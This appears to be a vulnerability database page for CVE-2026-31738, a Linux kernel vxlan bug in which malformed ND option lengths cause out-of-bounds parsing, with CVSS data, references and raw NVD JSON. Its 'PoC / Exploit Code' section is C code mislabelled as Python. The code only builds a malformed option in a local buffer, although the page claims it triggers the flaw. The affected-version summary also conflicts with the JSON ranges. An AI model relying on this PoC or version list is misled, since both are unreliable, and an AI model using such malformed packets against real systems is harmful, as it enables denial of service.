CVE-2026-31738

Description

In the Linux kernel, the following vulnerability has been resolved: vxlan: validate ND option lengths in vxlan_na_create vxlan_na_create() walks ND options according to option-provided lengths. A malformed option can make the parser advance beyond the computed option span or use a too-short source LLADDR option payload. Validate option lengths against the remaining NS option area before advancing, and only read source LLADDR when the option is large enough for an Ethernet address.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < v6.12

Linux Kernel < v6.11

Linux Kernel < v6.10

Linux Kernel < v6.6

Linux Kernel < v6.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// Conceptual Proof of Concept for CVE-2026-31738
// This snippet demonstrates how to craft a malformed ND option.
// Sending this within a VXLAN encapsulated packet triggers the vulnerability.

#include <stdio.h>
#include <string.h>

struct nd_option {
    unsigned char type;
    unsigned char length; // Length is in units of 8 octets
};

int main() {
    printf("[+] CVE-2026-31738 PoC Generator\n");
    printf("[+] Vulnerability: vxlan_na_create OOB Read\n");
    
    unsigned char packet[256];
    struct nd_option *opt = (struct nd_option *)packet;

    // Set Type to Source Link-Layer Address (1)
    opt->type = 0x01;

    // Set Length to a malicious value (e.g., 0xFF)
    // Valid length for MAC is 1 (8 bytes). 
    // Excessive length causes parser to read beyond buffer.
    opt->length = 0xFF;

    // Fill padding to simulate payload
    memset(packet + 2, 0x90, sizeof(packet) - 2);

    printf("[+] Malformed ND option created with length: 0x%02x\n", opt->length);
    printf("[+] Payload must be sent inside a VXLAN packet to the target.\n");
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31738
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31738
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31738/
[4] VulDB https://vuldb.com/cve/CVE-2026-31738
[5] https://git.kernel.org/stable/c/2029712fb2c87e9a8c75094906f2ee29bf08c500
[6] https://git.kernel.org/stable/c/602596c69a70e50d9ab8c6ae0290a01f88229dd7
[7] https://git.kernel.org/stable/c/901c1dd3bab2955d7e664f914c374c8c3ac2b958
[8] https://git.kernel.org/stable/c/afa9a05e6c4971bd5586f1b304e14d61fb3d9385
[9] https://git.kernel.org/stable/c/b69c4236255bd8de16cd876e58c6f0867d1d78b1
[10] https://git.kernel.org/stable/c/de20d2e3b9179d132f5f5b44e490d7c916c6321b
[11] https://git.kernel.org/stable/c/e476745917a1e288eb15e7ff49d286a86a4861d3
[12] https://git.kernel.org/stable/c/eddfce70a6f3107d1679b0c2fcbeb96b593bd679

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31738", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:36.473", "lastModified": "2026-05-07T18:58:07.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvxlan: validate ND option lengths in vxlan_na_create\n\nvxlan_na_create() walks ND options according to option-provided\nlengths. A malformed option can make the parser advance beyond the\ncomputed option span or use a too-short source LLADDR option payload.\n\nValidate option lengths against the remaining NS option area before\nadvancing, and only read source LLADDR when the option is large enough\nfor an Ethernet address."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.12.18", "versionEndExcluding": "3.13", "matchCriteriaId": "B3AB1AFE-C0A2-4331-AA17-444E45EF7B5A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.13.10", "versionEndExcluding": "3.14", "matchCriteriaId": "32C97B50-DD9D-4C26-A3B5-3CB771644C8A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.14.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "96775134-B6E9-42CE-A367-9B4C33EFBF22"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.168", "matchCriteriaId": "E2DDDCA1-6DAB-4018-B920-8F045DDD8D3B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.134", "matchCriteriaId": "F56F925B-BAF8-4F4B-B62F-1496AF19A307"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.81", "matchCriteriaId": "6EF80433-B33B-43C5-8E64-0FA7B8DCE1BC"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.14:-:*:*:*:*:*:*", "matchCriteriaId": "851B1505-0318-49F4-8D7C-196BE04FF173"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:3.14:rc8:*:*:*:*:*:*", "matchCriteriaId": "055557BE-1FE9-45F5-8A95-F8D3C9B031E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2029712fb2c87e9a8c75094906f2ee29bf08c500", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/602596c69a70e50d9ab8c6ae0290a01f88229dd7", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/901c1dd3bab2955d7e664f914c374c8c3ac2b958", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/s ... (truncated)